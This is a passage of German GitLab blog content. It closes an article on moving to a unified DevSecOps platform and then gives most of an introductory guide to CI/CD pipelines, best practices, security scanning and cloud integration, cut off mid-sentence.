Produktion.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097077288.jpg)\n\n## Integrierte Sicherheit\n\nGitLab legt großen Wert auf die Integration von umfassenden Sicherheitsfunktionen („security first“). Die Plattform integriert eine breite Palette automatisierter Sicherheitsscanner, darunter (Dokumentation nur in englischer Sprache verfügbar):\n\n* [Abhängigkeitssuche](https://docs.gitlab.com/user/application_security/dependency_scanning/)\n* [Statische Anwendungssicherheitstests (SAST)](https://docs.gitlab.com/user/application_security/sast/)\n* [Dynamische Anwendungssicherheitstests (DAST)](https://docs.gitlab.com/user/application_security/dast/)\n* [Erkennung von Geheimnissen](https://docs.gitlab.com/user/application_security/secret_detection/)\n* [Container-Scanning](https://docs.gitlab.com/user/application_security/container_scanning/)\n\n![Sicherheitsscanning-Funktionen, die in verschiedenen Entwicklungsphasen in den CI/CD-Prozess integriert sind](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097077289.jpg)\n\n\u003Ccenter>\u003Ci>Sicherheitsscanning-Funktionen, die in verschiedenen Entwicklungsphasen in den CI/CD-Prozess integriert sind\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nDiese Sicherheitsprüfungen werden direkt in jede Phase des Softwareentwicklungszyklus eingebaut, einschließlich der CI/CD-Pipeline, um den Entwickler(inne)n schon früh im Entwicklungszyklus ein unmittelbares Feedback zu potenziellen Sicherheitsproblemen zu geben.\n\n## Compliance und regulatorische Anforderungen\n\nNeben Effizienz und Benutzerfreundlichkeit müssen viele Unternehmen – insbesondere in regulierten Branchen wie Finanzinstituten oder Großunternehmen – sicherstellen, dass ihre Prozesse strengen Sicherheits- und Compliance-Standards entsprechen. Sie müssen in der Lage sein, Richtlinien für verschiedene Projekte durchzusetzen, z. B. einen Sicherheitsscanner vorzuschreiben, wenn eine CI/CD-Pipeline auf bestimmten Code-Branches (Main- oder geschützte Branches) ausgeführt wird, oder bestimmte Genehmigungen zu verlangen, bevor Code in den Main-Branch zusammengeführt wird.\n\nMit GitLab wird dies durch [Compliance-Frameworks (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/) erleichtert, eine Funktion, mit der Unternehmen strukturierte Richtlinien für ausgewählte Projekte definieren und durchsetzen können. So wird die Einhaltung automatischer gesetzlicher und sicherheitstechnischer Anforderungen gewährleistet und gleichzeitig ein nahtloser und effizienter Workflow für Entwickler(innen) sichergestellt.\n\n## KI-basierte Entwicklung\n\n[GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) unterstützt dich in allen Entwicklungsphasen mit KI, sodass du nicht mehr auf externe Tools zurückgreifen musst. Jede KI-unterstützte Anforderung wird im gesamten Kontext des Projekts und der Codebase bearbeitet, was eine intelligentere und effizientere Arbeit ermöglicht.\n\nDie KI kann zum Beispiel folgende Aufgaben übernehmen:\n\n* automatische Erstellung von Aufgabenbeschreibungen\n* intelligente Zusammenfassung von Diskussionen zu Tickets, was Entwickler(inne)n wertvolle Zeit spart\n* erweiterte Code-Review-Funktionen\n* Vorschläge zur Codeverbesserung und -optimierung\n* automatisierte Testgenerierung\n* Erkennung und Behebung von Sicherheitslücken\n* Fehlerbehebung bei der Grundursachenanalyse für CI-Pipeline-Fehler\n* Datenschutz und Datensicherheit\n\nGitLab kennt die Bedürfnisse von regulierten Unternehmen, insbesondere im öffentlichen und im Finanzsektor, und bietet eine einzigartige Lösung für den Einsatz von KI-Modellen in einer sicheren Umgebung. GitLab Duo Self-Hosted ermöglicht es Unternehmen, die volle Kontrolle über Datenschutz, Sicherheit und die Bereitstellung großer Sprachmodelle [(LLMs; nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/) in ihrer eigenen Infrastruktur zu behalten. Dabei wird Folgendes gewährleistet:\n\n* Datenschutz\n* Einhaltung gesetzlicher Anforderungen\n* maximale Sicherheit\n* KI-Vorteile ohne externe Netzwerkabhängigkeiten oder -risiken\n\n## Zusammenfassung\n\nUnternehmen brauchen eine umfassende DevSecOps-Plattform, um Prozesse zu rationalisieren, die Sicherheit zu verbessern und Innovationen zu beschleunigen. GitLab bietet genau das – eine einzige Anwendung, die alle wichtigen Entwicklungs-, Sicherheits- und Betriebswerkzeuge mit integrierter Sicherheitsintegration und KI-basierter Automatisierung vereint.\n\nWillst du GitLab in Aktion sehen? Entdecke interaktive (englischsprachige) Demos für:\n\n* [GitLab Premium und Ultimate mit Duo](https://gitlab.navattic.com/gitlab-premium-with-duo): Erlebe KI-Unterstützung bei der Entwicklung,\n* [Sicherheit in der CI/CD-Pipeline](https://gitlab.navattic.com/gitlab-scans): Sieh dir an, wie integriertes Sicherheitsscanning deine Software schützt.\n* [Compliance-Frameworks](https://gitlab.navattic.com/compliance): Erfahre, wie GitLab Richtlinien projektübergreifend durchsetzt, um eine bessere Governance zu gewährleisten.\n\n> Nimm am virtuellen Launch-Event von GitLab 18 teil, um mehr über die Zukunft der DevSecOps-Plattform zu erfahren, einschließlich der Rolle der agentischen KI. [Registriere dich noch heute!](https://about.gitlab.com/de-de/eighteen/)",[950],"Itzik Gan Baruch","2025-06-23","2025-06-02","Warum steigen Unternehmen auf eine einheitliche DevSecOps-Plattform um?",[715,796,764],"Erfahre mehr über die einheitliche DevSecOps-Plattform von GitLab, die Tools integriert, Sicherheit verbessert und KI für eine effiziente Softwareentwicklung nutzt.",{"slug":957,"featured":6,"template":800},"why-are-organizations-moving-to-a-unified-devsecops-platform",{"content":959,"config":969},{"title":960,"description":961,"authors":962,"heroImage":964,"date":965,"body":966,"category":719,"tags":967,"updatedDate":968},"Der ultimative CI/CD-Leitfaden: Grundlagen für die erweiterte Implementierung","Erfahre, wie du die kontinuierliche Integration/kontinuierliche Bereitstellung modernisierst und die Entwicklung, Lieferung und Sicherheit von Pipelines automatisierst.",[963],"Sandra Gittlen","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660151/Blog/Hero%20Images/blog-image-template-1800x945__26_.png","2025-01-06","Die kontinuierliche Integration/kontinuierliche Lieferung ([CI/CD](https://about.gitlab.com/de-de/topics/ci-cd/)) hat die Art und Weise revolutioniert, wie Softwareteams Werte für ihre Benutzer(innen) schaffen. Vorbei sind die Zeiten manueller Bereitstellungen und komplizierter Integrationen – moderne Entwicklung erfordert Automatisierung, Zuverlässigkeit und Geschwindigkeit.\n\nIm Grunde geht es bei CI/CD darum, eine nahtlose Pipeline zu erstellen, die Code von der Umgebung der Entwickler(innen) bis hin zur Produktion überführt und Feedback in Echtzeit einbezieht. [CI](https://about.gitlab.com/de-de/topics/ci-cd/benefits-continuous-integration/) hilft Teams, Mängel frühzeitig zu erkennen – bevor sie zu kostspieligen Problemen werden –, indem sichergestellt wird, dass Codeänderungen häufig in einem gemeinsamen Repository zusammengeführt, automatisch getestet und validiert werden. [CD](https://about.gitlab.com/de-de/topics/ci-cd/#what-is-continuous-delivery-cd) führt diesen Ansatz fort, indem es den Bereitstellungsprozess automatisiert und die Releases vorhersehbar und stressfrei macht.\n\nAnstatt sich auf manuelle Prozesse und komplexe Toolchains für die Softwareentwicklung zu verlassen, können Teams eine robuste CI/CD-Pipeline verwenden, um Software zu erstellen, zu testen und bereitzustellen. Die KI kann diesen Prozess noch weiter optimieren und automatisch CI/CD-Pipelines erstellen, die konsistente Qualität, Compliance und Sicherheitsüberprüfungen ermöglichen.\n\nIn diesem Leitfaden werden moderne CI/CD-Pipelines von den Grundprinzipien über Best Practices bis hin zu fortschrittlichen Strategien erklärt. Du erfährst außerdem, wie führende Unternehmen CI/CD nutzen, um wirkungsvolle Ergebnisse zu erzielen. Mit den Erkenntnissen dieses Leitfadens kannst du deine DevSecOps-Umgebung skalieren und Software [agil](https://about.gitlab.com/de-de/topics/ci-cd/continuous-integration-agile/), automatisiert und effizient entwickeln und bereitstellen.\n\n## Inhalt: Das erwartet dich\n\n- [Was ist kontinuierliche Integration?](#was-ist-kontinuierliche-integration%3F)\n- [Was ist kontinuierliche Lieferung?](#was-ist-kontinuierliche-lieferung%3F)\n- [Wie hängt die Quellcodeverwaltung mit CI/CD zusammen?](#wie-hängt-die-quellcodeverwaltung-mit-cicd-zusammen%3F)\n- [Die Vorteile von CI/CD in der modernen Softwareentwicklung](#die-vorteile-von-cicd-in-der-modernen-softwareentwicklung)\n - [Hauptunterschiede zwischen CI/CD und traditioneller Entwicklung](#hauptunterschiede-zwischen-cicd-und-traditioneller-entwicklung)\n- [Grundlagen von CI/CD verstehen](#grundlagen-von-cicd-verstehen)\n - [Was ist eine CI/CD-Pipeline?](#was-ist-eine-cicd-pipeline%3F)\n- [Best Practices für CI/CD-Implementierung und -Management](#best-practices-für-cicd-implementierung-und--management)\n - [Best Practices für CI](#best-practices-für-ci)\n - [Best Practices für CD](#best-practices-für-cd)\n- [Erste Schritte mit CI/CD](#erste-schritte-mit-cicd)\n- [Sicherheit, Compliance und CI/CD](#sicherheit-compliance-und-cicd)\n- [CI/CD und die Cloud](#cicd-und-die-cloud)\n- [Erweitertes CI/CD](#erweitertes-cicd)\n - [Wiederverwendung und Automatisierung in CI/CD](#wiederverwendung-und-automatisierung-in-cicd)\n - [Problembehebung für Pipelines mithilfe von KI](#problembehebung-für-pipelines-mithilfe-von-ki)\n- [So migrierst du zu GitLab CI/CD](#so-migrierst-du-zu-gitlab-cicd)\n- [Erfahrungsberichte von führenden Unternehmen](#erfahrungsberichte-von-führenden-unternehmen)\n- [CI/CD-Tutorials](#cicd-tutorials)\n\n## Was ist kontinuierliche Integration?\n\nUnter [kontinuierlicher Integration](https://about.gitlab.com/de-de/topics/ci-cd/benefits-continuous-integration/) (CI) versteht man das Vorgehen, alle Codeänderungen frühzeitig und häufig in den main-Branch eines gemeinsamen Quellcode-Repositorys zu integrieren, Änderungen automatisch zu testen, wenn sie committet oder zusammengeführt werden, und automatisch einen Build zu starten. Mit kontinuierlicher Integration können Teams Fehler und Sicherheitsprobleme leichter und viel früher im Entwicklungsprozess erkennen und beheben.\n\n## Was ist kontinuierliche Lieferung?\n[Kontinuierliche Lieferung](https://about.gitlab.com/de-de/topics/ci-cd/#what-is-continuous-delivery-cd) (CD) – manchmal auch _kontinuierliche Bereitstellung_ genannt – ermöglicht es Unternehmen, ihre Anwendungen automatisch bereitzustellen, sodass Entwickler(innen) mehr Zeit haben, sich auf die Überwachung des Bereitstellungsstatus zu konzentrieren und den Erfolg sicherzustellen. Bei der kontinuierlichen Lieferung legen DevOps-Teams die Kriterien für die Codefreigabe im Voraus fest. Wenn diese Kriterien erfüllt und validiert sind, wird der Code in der Produktivumgebung bereitgestellt. So können Unternehmen flexibler sein und neue Funktionen den Benutzer(inne)n schneller zur Verfügung stellen.\n\n## Wie hängt die Quellcodeverwaltung mit CI/CD zusammen?\n\nQuellcodeverwaltung ([Source Code Management, SCM](https://about.gitlab.com/de-de/solutions/source-code-management/)) und CI/CD bilden die Grundlage moderner Softwareentwicklungsverfahren. SCM-Systeme wie [Git](https://about.gitlab.com/de-de/blog/what-is-git-the-ultimate-guide-to-gits-role-and-functionality/) bieten eine zentrale Möglichkeit, Änderungen zu verfolgen, verschiedene Codeversionen zu verwalten und die Zusammenarbeit zwischen den Teammitgliedern zu erleichtern. Wenn Entwickler(innen) an neuen Funktionen oder Fehlerbehebungen arbeiten, erstellen sie Branches aus der main-Codebase, nehmen ihre Änderungen vor und [führen sie dann über Merge Requests zusammen](https://docs.gitlab.com/ee/user/project/merge_requests/) (Artikel nur in englischer Sprache verfügbar). Diese Branching-Strategie macht es möglich, dass mehrere Entwickler(innen) gleichzeitig arbeiten können, ohne sich gegenseitig in die Quere zu kommen, und gleichzeitig einen stabilen main-Branch zu bewahren, der immer produktionsreifen Code enthält.\n\nCI/CD übernimmt den von SCM-Systemen verwalteten Code und erstellt, testet und validiert ihn automatisch, wenn Änderungen gepusht werden. Wenn Entwickler(innen) Codeänderungen einreichen, ruft das CI/CD-System automatisch den neuesten Code ab, kombiniert ihn mit der vorhandenen Codebase und führt eine Reihe automatisierter Überprüfungen durch. Dazu gehören in der Regel das Kompilieren des Codes, das Ausführen von Unit-Tests, das Durchführen einer statischen Codeanalyse und das Überprüfen der Testabdeckung. Wenn einer dieser Schritte fehlschlägt, wird das Team sofort benachrichtigt, sodass es Probleme beheben kann, bevor sie sich auf andere Entwickler(innen) auswirken oder in die Produktivumgebung überführt werden. Durch diese enge Integration zwischen Versionskontrolle und kontinuierlicher Integration entsteht eine Feedbackschleife, die dazu beiträgt, die Codequalität aufrechtzuerhalten, und verhindert, dass sich Integrationsprobleme ansammeln.\n\n## Die Vorteile von CI/CD in der modernen Softwareentwicklung\n\n[CI/CD bringt transformative Vorteile für die moderne Softwareentwicklung](https://about.gitlab.com/blog/ten-reasons-why-your-business-needs-ci-cd/) (Blogbeitrag nur in englischer Sprache verfügbar), indem die Zeit und das Risiko drastisch reduziert werden, die neue Funktionen und Fixes mit sich bringen. Durch die kontinuierliche Feedbackschleife können DevSecOps-Teams sicher sein, dass ihre Änderungen automatisch für die gesamte Codebase validiert werden. Das Ergebnis sind hochwertigere Software, kürzere Lieferzeiten und häufigere Veröffentlichungen, mit denen man schneller auf Benutzer- und Marktanforderungen reagieren kann.\n\nEiner der wichtigsten Aspekte ist jedoch, dass CI/CD eine Kultur der Zusammenarbeit und Transparenz innerhalb von Softwareentwicklungsteams fördert. Wenn jeder den Status von Builds, Tests und Bereitstellungen in Echtzeit sehen kann, wird es einfacher, Engpässe im Bereitstellungsprozess zu identifizieren und zu beheben. Die von CI/CD ermöglichte Automatisierung reduziert auch die kognitive Belastung für Entwickler(innen) und gibt ihnen die Möglichkeit, sich auf das Schreiben von Code zu konzentrieren, anstatt manuelle Bereitstellungsprozesse zu verwalten. Dies führt zu einer höheren Zufriedenheit und Produktivität der Entwickler(innen) und reduziert gleichzeitig das Risiko, das traditionell mit dem gesamten Softwareveröffentlichungsprozess verbunden ist. Teams können freier experimentieren, wenn sie wissen, dass schnelle Code Reviews Teil des Prozesses sind, und sie können Änderungen bei Bedarf schnell zurücknehmen, was Innovationen und kontinuierliche Verbesserungen fördert.\n\n### Hauptunterschiede zwischen CI/CD und traditioneller Entwicklung\n\nCI/CD unterscheidet sich in vielerlei Hinsicht von der traditionellen Softwareentwicklung:\n\n**Häufige Code-Commits** \n\nEntwickler(innen) arbeiten oft unabhängig und laden ihren Code selten in eine main-Codebase hoch, was zu Merge-Konflikten und anderen zeitaufwändigen Problemen führt. Mit CI/CD pushen Entwickler(innen) Commits den ganzen Tag über, um sicherzustellen, dass Konflikte frühzeitig erkannt werden und die Codebase auf dem neuesten Stand bleibt.\n\n**Reduziertes Risiko**\n\nLangwierige Testzyklen und eine umfassende Vorabplanung kennzeichnen die traditionelle Softwareentwicklung. Dadurch sollen Risiken minimiert werden, jedoch wird die Möglichkeit eingeschränkt, Probleme zu finden und zu beheben. Das Risikomanagement in CI/CD basiert darauf, dass kleine, inkrementelle Änderungen vorgenommen werden, die genau überwacht und leicht rückgängig gemacht werden können.\n\n**Automatisierte und kontinuierliche Tests**\n\nIn der traditionellen Softwareentwicklung werden Tests durchgeführt, sobald die Entwicklung abgeschlossen ist. Dies führt jedoch zu Problemen wie verspäteter Lieferung und kostspieliger Fehlerbehebungen. CI/CD unterstützt automatisierte Tests, die während der gesamten Entwicklung kontinuierlich durchgeführt und durch jeden Code-Commit ausgelöst werden. Entwickler(innen) erhalten außerdem Feedback, auf das sie schnell reagieren können.\n\n**Automatisierte, wiederholbare und häufige Bereitstellungen**\n\nMit CI/CD sind Bereitstellungen automatisierte Prozesse, die den typischen Stress und Aufwand für große Software-Rollouts reduzieren. Der gleiche Bereitstellungsprozess kann in allen Umgebungen wiederholt werden, was Zeit spart und Fehler und Inkonsistenzen reduziert.\n\n## Grundlagen von CI/CD verstehen\n\nCI/CD dient als Framework für den Aufbau skalierbarer, wartbarer Bereitstellungsprozesse. Daher ist es für DevSecOps-Teams wichtig, die Kernkonzepte wirklich zu verstehen. Durch ein solides Verständnis der CI/CD-Prinzipien können Teams, Strategien und Praktiken an die Entwicklung der Technologie anpassen, anstatt an alte Ansätze gebunden zu sein. Hier sind einige der Grundlagen.\n\n### Was ist eine CI/CD-Pipeline?\n\nEine [CI/CD-Pipeline](https://about.gitlab.com/de-de/topics/ci-cd/cicd-pipeline/) ist eine Reihe von Schritten wie Erstellen, Testen und Bereitstellen, durch die der Softwarebereitstellungsprozess automatisiert und optimiert wird. [Jede Phase dient als Qualitätsüberprüfung](https://about.gitlab.com/blog/guide-to-ci-cd-pipelines/) (Blogbeitrag nur in englischer Sprache verfügbar) und stellt sicher, dass nur validierter Code weiterentwickelt wird. In den frühen Phasen werden in der Regel grundlegende Überprüfungen wie Kompilierung und Unit-Tests durchgeführt, während spätere Phasen Integrationstests, Leistungstests, Konformitätstests und gestaffelte Bereitstellungen in verschiedenen Umgebungen umfassen können.\n\nDie Pipeline kann so konfiguriert werden, dass manuelle Genehmigungen an kritischen Punkten erforderlich sind, z. B. vor der Bereitstellung für die Produktion, während gleichzeitig Routineaufgaben automatisiert werden und Entwickler(innen) schnelles Feedback über den Zustand ihrer Änderungen erhalten. Dieser strukturierte Ansatz sorgt für Konsistenz, reduziert menschliche Fehler und bietet einen klaren Audit-Trail, wie Codeänderungen sich von der Entwicklung bis in die Produktion bewegen. Moderne Pipelines werden oft als Code implementiert, so dass sie wie Anwendungscode versioniert, getestet und gepflegt werden können.\n\nAuch die folgenden Begriffe sind für CI/CD wichtig:\n- **Commit:** eine Codeänderung\n- **Job:** Anweisungen, die ein Runner ausführen muss\n- **Runner:** ein Agent oder Server, der jeden Job einzeln ausführt und nach Bedarf hoch- oder herunterfahren kann\n- **Phase:** ein Schlüsselwort, das bestimmte Jobphasen definiert, z. B. „Erstellen“ und „Bereitstellen“. Jobs der gleichen Phase werden parallel ausgeführt. Pipelines werden mithilfe der versionierten YAML-Datei `.gitlab-ci.yml` auf der Root-Ebene eines Projekts konfiguriert.\n\n![CI/CD-Pipeline-Schema](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673928/Blog/Content%20Images/1690824533476.png)\n\n## Best Practices für die Implementierung und das Management von CI/CD\n\nWie erfolgreich du mit CI/CD bist, hängt stark von den [Best Practices](https://about.gitlab.com/de-de/blog/how-to-keep-up-with-ci-cd-best-practices/) ab, die du implementierst. \n\n#### Best Practices für CI\n\n* Committe früh und oft.\n* Optimiere die Pipeline-Phasen.\n* Erstelle Builds schnell und einfach.\n* Nutze Fehlschläge, um Prozesse zu verbessern.\n* Stelle sicher, dass die Testumgebung die Produktion widerspiegelt.\n\n#### Best Practices für CD\n\n* Beginne dort, wo du gerade bist – du kannst jederzeit iterieren.\n* Die beste kontinuierliche Lieferung erfolgt mit minimalen Mitteln.\n* Verfolge, was passiert, damit Probleme und Merge Requests nicht außer Kontrolle geraten.\n* Optimiere Benutzerakzeptanztests und Staging mit Automatisierung.\n* Verwalte die Release-Pipeline durch Automatisierung.\n* Implementiere Überwachung für Transparenz und Effizienz. \n\n> ### Setz dir ein Lesezeichen!\n>\n>Sieh dir unser englischsprachiges [Webinar „Intro to CI/CD“](https://www.youtube.com/watch?v=sQ7Nw3o0izc) (Einführung in CI/CD) an!\n>\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/sQ7Nw3o0izc?si=3HpNqIClrc2ncr7Y\" title=\"Intro to CI/CD webinar\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Erste Schritte mit CI/CD\n\nDer Einstieg in CI/CD beginnt mit einem einfachen, aber repräsentativen Projekt, das als Pilotprojekt dienen soll. Wähle eine einfache Anwendung mit simplen Testanforderungen aus, damit du dich auf das Erlernen der Pipeline-Mechanismen konzentrieren kannst, anstatt dich mit komplexen Bereitstellungsszenarien zu befassen. Stelle zunächst sicher, dass dein Code [versioniert](https://about.gitlab.com/de-de/topics/version-control/) ist und einige [grundlegende automatisierte Tests](https://about.gitlab.com/blog/develop-c-unit-testing-with-catch2-junit-and-gitlab-ci/) (Blogbeitrag nur in englischer Sprache verfügbar) enthält  – dabei reichen schon ein paar Unit-Tests aus. Das Ziel besteht darin, [eine minimale Pipeline zu erstellen](https://about.gitlab.com/blog/how-to-learn-ci-cd-fast/) (Blogbeitrag nur in englischer Sprache verfügbar), die du mit zunehmendem Verständnis nach und nach ausbauen kannst.\n\nIm Fall von GitLab beginnt der Prozess mit dem Erstellen der Datei `.gitlab-ci.yml` im Stammverzeichnis deines Projekts. Diese YAML-Datei definiert deine Pipeline-Phasen (grundlegende Phasen wie Erstellen, Testen und Bereitstellen) und Jobs. Eine einfache Pipeline könnte so aussehen: In der Phase „Erstellen“ wird deine Code kompiliert und es werden Artefakte erstellt, die Testphase führt deine Unit-Tests aus und die Phase „Bereitstellen“ pusht deine Anwendung in eine Staging-Umgebung. GitLab erkennt diese Datei automatisch und beginnt, deine Pipeline auszuführen, wenn Änderungen in dein Repository gepusht werden. Die Plattform bietet [integrierte Runner](https://docs.gitlab.com/runner/) (Artikel nur in englischer Sprache verfügbar), um deine Pipeline-Jobs auszuführen, aber du kannst auch eigene Runner einrichten, wenn du mehr Kontrolle haben willst.\n\nWenn du mit den Grundlagen vertraut bist, kannst du nach und nach anspruchsvollere Elemente zu deiner Pipeline hinzufügen. Du kannst zum Beispiel Code-Qualitätsprüfungen, [Sicherheitsscans](https://docs.gitlab.com/ee/user/application_security/#security-scanning) (Artikel nur in englischer Sprache verfügbar) oder die automatisierte Bereitstellung für die Produktion hinzufügen. Die DevSecOps-Plattform von GitLab bietet Funktionen wie [Compliance-Management](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/), [Bereitstellungsvariablen](https://about.gitlab.com/blog/demystifying-ci-cd-variables/) (Blogbeiträge nur in englischer Sprache verfügbar) und manuelle Genehmigungsprüfungen, die du integrieren kannst, wenn deine Pipeline ausgereift ist. Achte auf die Ausführungszeit der Pipeline und suche nach Möglichkeiten, Jobs parallel auszuführen. Denke daran, die richtige Fehlerbehandlung und Benachrichtigungen hinzuzufügen, damit deine Teammitglieder umgehend über alle Pipeline-Ausfälle informiert werden. Beginne damit, häufige Probleme und Lösungen zu dokumentieren, wenn sie auftauchen – dies wird von unschätzbarem Wert sein, wenn dein Team wächst.\n\n> ### Möchtest du mehr über die ersten Schritte mit CI/CD erfahren? Registriere dich für einen [kostenlosen, englischsprachigen CI/CD-Kurs auf GitLab University](https://university.gitlab.com/courses/continuous-integration-and-delivery-ci-cd-with-gitlab).\n\n## Sicherheit, Compliance und CI/CD\n\nEiner der größten Vorteile von CI/CD ist die Möglichkeit, Sicherheits- und Compliance-Prüfungen frühzeitig und häufig in den Software-Entwicklungsprozess einzubetten. In GitLab können Teams die Konfiguration `.gitlab-ci.yml` verwenden, um automatisch Sicherheitsscans in mehreren Phasen auszulösen, vom ersten Code Commit bis zur Bereitstellung in der Produktivumgebung. Container-Scanning, Abhängigkeitsuche und Sicherheitsscans auf der Plattform ([Dynamische Anwendungssicherheitstests](https://docs.gitlab.com/ee/user/application_security/dast/) und [Erweitertes SAST](https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available/); beide nur in englischer Sprache verfügbar) können so konfiguriert werden, dass sie bei jeder Codeänderung automatisch ausgeführt werden, um auf Sicherheitslücken, Compliance-Verstöße und Sicherheitsfehlkonfigurationen zu prüfen. Die API der Plattform ermöglicht die Integration mit [externen Sicherheitstools](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/) (Blogbeitrag nur in englischer Sprache verfügbar) und die Testabdeckungsfunktionen stellen sicher, dass die Sicherheitstests die erforderlichen Anforderungen erfüllen.\n\nDie Sicherheitstestberichte von GitLab enthalten detaillierte Informationen zu den Ergebnissen und sollen sicherstellen, dass Sicherheitsprobleme schnell behoben werden können, bevor sie in die Produktion kommen. Das Sicherheitsdashboard bietet eine zentrale Ansicht von Sicherheitslücken in allen Projekten, während [Sicherheitsrichtlinien](https://about.gitlab.com/blog/how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance/) (Blogbeitrag nur in englischer Sprache verfügbar) durch Merge-Request-Genehmigungen und Pipeline-Gates durchgesetzt werden können. Darüber hinaus bietet GitLab mehrere Sicherheitsebenen, um vertrauliche Daten während des gesamten CI/CD-Prozesses zu schützen, Audit-Protokolle, um den Zugriff auf Geheimnisse zu verfolgen, und rollenbasierte Zugriffskontrolle (RBAC), um sicherzustellen, dass nur autorisierte Benutzer(innen) vertrauliche Konfigurationsdaten anzeigen oder ändern können.\n\nGitLab unterstützt auch die Erstellung einer Software-Stückliste ([SBOM](https://about.gitlab.com/de-de/blog/the-ultimate-guide-to-sboms/)), die eine umfassende Bestandsaufnahme aller Softwarekomponenten, Abhängigkeiten und Lizenzen in einer Anwendung bietet und es den Teams ermöglicht, Sicherheitslücken schnell zu identifizieren, darauf zu reagieren und behördliche Auflagen zu erfüllen.\n\n## CI/CD und die Cloud\n\nDie CI/CD-Plattform von GitLab bietet eine robuste Integration mit großen Cloud-Anbietern wie [Amazon Web Services](https://about.gitlab.com/de-de/partners/technology-partners/aws/), [Google Cloud Platform](https://about.gitlab.com/blog/provision-group-runners-with-google-cloud-platform-and-gitlab-ci/) (Blogbeitrag nur in englischer Sprache verfügbar) und [Microsoft Azure](https://docs.gitlab.com/ee/install/azure/) (Artikel nur in englischer Sprache verfügbar), sodass Teams ihre Cloud-Bereitstellungen direkt aus ihren Pipelines heraus automatisieren können. Durch die Cloud-Integrationen von GitLab können Teams Cloud-Ressourcen verwalten, Anwendungen bereitstellen und Cloud-Dienste innerhalb der GitLab-Oberfläche überwachen. Die integrierten Cloud-Bereitstellungsvorlagen und [Auto-DevOps-Funktionen](https://docs.gitlab.com/ee/topics/autodevops/) (Artikel nur in englischer Sprache verfügbar) der Plattform reduzieren die Komplexität von Cloud-Bereitstellungen erheblich, sodass sich die Teams auf die Anwendungsentwicklung konzentrieren können und sich nicht mit dem Infrastrukturmanagement befassen müssen. Für Unternehmen, die ihre IT-Infrastruktur mit GitOps automatisieren möchten, bietet GitLab eine [Flux-CD-Integration](https://about.gitlab.com/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab/) (Blogbeitrag nur in englischer Sprache verfügbar).\n\nDie Cloud-Funktionen von GitLab gehen weit über die einfache Automatisierung der Bereitstellung hinaus. Die [Kubernetes-Integration](https://about.gitlab.com/blog/kubernetes-overview-operate-cluster-data-on-the-frontend/) (Blogbeitrag nur in englischer Sprache verfügbar) der Plattform ermöglicht es den Teams, die Container-Orchestrierung über mehrere Cloud-Anbieter hinweg zu verwalten, während die [Cloud-nativen Installationsoptionen von GitLab](https://about.gitlab.com/de-de/topics/ci-cd/cloud-native-continuous-integration/) den Betrieb der Plattform selbst in Cloud-Umgebungen ermöglichen. Durch die Cloud-nativen Funktionen von GitLab können Teams Runner mit automatischer Skalierung implementieren, die dynamisch Cloud-Ressourcen für die Pipeline-Ausführung bereitstellen und so Kosten und Leistung optimieren. Die Integration der Plattform mit den Sicherheitsdiensten von Cloud-Anbietern macht es möglich, dass die Sicherheits- und Konformitätsanforderungen während des gesamten Bereitstellungsprozesses erfüllt werden.\n\nFür Multi-Cloud-Umgebungen stellt GitLab konsistente Workflows und Tools zur Verfügung, unabhängig vom zugrunde liegenden Cloud-Anbieter. Teams können die Umgebungsverwaltung von GitLab verwenden, um verschiedene Cloud-Konfigurationen in Entwicklungs-, Staging- und Produktivumgebungen zu verwalten. Da die Plattform [Infrastructure as Code](https://docs.gitlab.com/ee/user/infrastructure/iac/) (Artikel nur in englischer Sprache verfügbar) unterstützt – insbesondere die native Integration mit Terraform – können Teams ihre Cloud-Infrastruktur-Bereitstellung steuern und automatisieren. Die Überwachungs- und Beobachtungsfunktionen von GitLab lassen sich in die Metriken von Cloud-Anbietern integrieren und bieten einen umfassenden Überblick über den Zustand von Anwendungen und Infrastruktur in allen Cloud-Umgebungen.\n\n## Erweitertes CI/CD \nCI/CD hat sich weit über das einfache Erstellen und Bereitstellen von Pipelines hinaus entwickelt. In umfassenderen Implementierungen bietet CI/CD eine ausgefeilte Orchestrierung von automatisierten Tests, Sicherheitsscans, Infrastrukturbereitstellung, KI und mehr. Hier findest du einige Strategien für Erweitertes CI/CD, die Entwicklungsteams dabei helfen können, ihre Pipelines zu skalieren und Probleme zu beheben, auch wenn die architektonische Komplexität zunimmt.\n\n### Wiederverwendung und Automatisierung in CI/CD\n\nGitLab verändert die Art und Weise, wie Entwicklungsteams CI/CD-Pipelines erstellen und verwalten. Dazu tragen vor allem zwei wichtige Innovationen bei: der [CI/CD-Katalog](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) und [CI/CD Steps](https://about.gitlab.com/blog/introducing-ci-cd-steps-a-programming-language-for-devsecops-automation/) (Blogbeiträge nur in englischer Sprache verfügbar), eine neue Programmiersprache für DevSecOps-Automatisierung, die derzeit getestet wird. Der CI/CD-Katalog ist eine zentralisierte Plattform, auf der Entwickler(innen) CI/CD-Komponenten entdecken, wiederverwenden und beitragen können. Komponenten fungieren als wiederverwendbare Bausteine mit einem einzigen Zweck und sollen die Pipeline-Konfiguration vereinfachen – du kannst sie dir wie Legosteine für CI/CD-Workflows vorstellen. CI/CD Steps unterstützt komplexe Workflows, indem es Entwickler(inne)n ermöglicht, Eingaben und Ausgaben für einen CI/CD-Job zu erstellen. Mit dem CI/CD-Katalog und CI/CD Steps können DevSecOps-Teams CI/CD und seine Komponenten einfach standardisieren und so die Entwicklung und 